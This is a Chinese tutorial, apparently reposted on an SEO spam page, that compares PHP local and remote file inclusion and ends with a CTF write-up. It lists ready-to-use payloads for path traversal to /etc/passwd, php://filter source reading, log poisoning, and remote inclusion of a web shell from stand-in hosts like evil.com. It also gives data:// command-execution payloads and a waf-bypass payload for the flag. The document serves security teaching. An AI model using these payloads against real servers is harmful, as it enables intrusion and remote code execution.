当前位置: 首页 > wzjs >正文

我想买个网站做时时彩河南网站推广优化排名

我想买个网站做时时彩,河南网站推广优化排名,为什么广州政府网站做的不好,wordpress小白远程文件包含与本地文件包含的区别 对比 对比项本地文件包含(LFI)远程文件包含(RFI)定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件依赖条件不需要特殊配置需要allow_url_incl…

远程文件包含与本地文件包含的区别

对比

对比项本地文件包含(LFI)远程文件包含(RFI)
定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件
依赖条件不需要特殊配置需要allow_url_include=On(PHP)
常见利用方式1. 读取敏感文件(/etc/passwd
2. 日志文件注入
3. PHP包装器(php://filter
1. 包含远程恶意脚本(http://evil.com/shell.txt
2. 直接执行远程PHP代码
危害1. 敏感信息泄露
2. 可能升级为RCE(如日志注入)
1. 直接远程代码执行(RCE)
2. 完全控制服务器
防御难度较容易(禁用危险函数+输入过滤)较难(需关闭远程包含功能)
示例Payload?file=../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
?file=http://attacker.com/shell.txt
?file=data://text/plain,<?php system('id');?>

例子对比

本地文件包含(LFI)

源代码的关键代码

include($_GET['file'] . '.php');

【这个代码对参数进行了处理,即在参数后面增加了一个.php的后缀,这就是将任何参数都转为了一个php文件】

 攻击者的payload

?file=../../etc/passwd%00  # 读取系统文件
?file=php://filter/convert.base64-encode/resource=config.php  # 读取PHP源码

 远程文件包含(RFI)

源代码的关键代码

include($_GET['url']);  // 未过滤直接包含远程文件

攻击者的payload

?url=http://evil.com/shell.txt  # 包含远程Web Shell
?url=data://text/plain,<?php system("ls");?>  # 直接执行代码

根据这两个例子的对比就可以看到其实二者从源代码其实是很难分辨出来,但是对于传入的payload却是有所不同的

本地文件包含的payload主要是文件路径(../../ )和php包装(php://)

远程文件包含的payload主要是url协议(比如:http://  或  ftp://等)

payload

LFI典型Payload示例

(1) 读取敏感文件

?file=../../../../etc/passwd
?page=/var/www/html/config.php

(2) 路径遍历绕过

?file=....//....//etc/passwd      # 双重编码绕过
?file=%2e%2e%2fetc%2fpasswd      # URL编码

(3) PHP包装器利用

?file=php://filter/convert.base64-encode/resource=index.php  # 读取PHP源码
?file=php://input              # 通过POST传入代码
[POST DATA]: <?php system("id");?>

(4) 日志文件注入

?file=/var/log/apache2/access.log
# 需先通过User-Agent或Referer注入PHP代码

(5) Null字节截断 (PHP < 5.3.4)

?file=../../etc/passwd%00      # 截断后缀

RFI典型Payload示例

(1) 基本远程包含

?file=http://attacker.com/shell.txt
?lib=ftp://evil.net/cmd.php

(2) 自动附加后缀的绕过

?file=http://attacker.com/shell.txt?   # 问号截断
?file=http://attacker.com/shell.txt%00 # Null字节截断

(3) data协议利用 (伪RFI)

?file=data://text/plain,<?php system("id");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+

(4) 结合短标签

?file=http://attacker.com/shell.txt&cmd=id
# shell.txt内容: <?=`$_GET[cmd]`?>

做个题

[鹏城杯 2022]简单包含

打开环境后得到的源码

这里看到直接告诉了flag的位置,  那么就猜测是一个 本地文件包含

直接去访问这个文件竟然输出waf

那看来这个有问题

试试php伪协议

在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参还是不行,去访问一下index.php看一下源码

去base64解码得到源码

<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {Secho 'nssctf waf!';
} else {@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

这里的关键代码就是if语句那一段

大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出“nssctf waf!”


这里拓展两个知识

与常见输入方法的对比

方法获取内容数据格式大小限制
php://input原始请求体原始二进制/文本
$_POST解析后的表单数据数组受限于 post_max_size
$_GETURL 查询参数数组URL 长度限制
$HTTP_RAW_POST_DATA原始 POST 数据(已弃用)原始数据

file_get_contents()函数

该函数的作用是将某文件读取为字符串

比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。


 那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议

我的payload

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php

 

或者直接访问源代码所给的文件路径

得到的编码进行base64解码就可以了

http://www.dtcms.com/wzjs/228700.html

相关文章:

  • 网上书店网站建设毕业设计范文互联网推广话术
  • 智能家居产品设计案例网站排名优化查询
  • 做公司企业网站标准尺寸推广竞价的公司有哪些
  • 网站建设公司调查报告公司做个网站多少钱
  • 小程序平台开发多少钱合肥网站关键词优化公司
  • dw制作asp网站模板下载外贸seo
  • 网站开发职业要求百度推广客服电话24小时
  • 买网站做淘宝客北京专业seo公司
  • 过年wordpress主机桔子seo
  • 简单的美食网站模板太原建站seo
  • 网站页脚模板it教育培训机构
  • 做网站的zk啥网络广告推广
  • 不懂代码可以做网站吗宽带营销案例100例
  • 灯饰模板网站网站收录什么意思
  • 怎么做局域网asp网站网站推广多少钱一年
  • 安庆集团网站建设优化网站页面
  • 免费网站在线客服系统下列哪些店铺适合交换友情链接
  • 2018做网站前景如何2022最新新闻
  • 高端网站建设 案例网站seo技术能不能赚钱
  • 网站做多大尺寸上海关键词推广公司
  • 餐厅网站建设计算机培训班培训费用
  • 徐州专业网站制作公司网站排名优化培训哪家好
  • 网页设计跳转链接怎么制作seo岗位
  • 电子商务网站开发教程课后答案惠州seo网站推广
  • 兰州市门户网站营销自动化工具
  • 河北搜恒不给做网站大专网络营销专业好不好
  • 去泰国做赌博发网站可口可乐软文范例
  • 网站建设设计设计吸引顾客的营销策略
  • 网站换空间上怎么办啊营销技巧第三季
  • 网站建设需求公司内部调查青岛网站设计微动力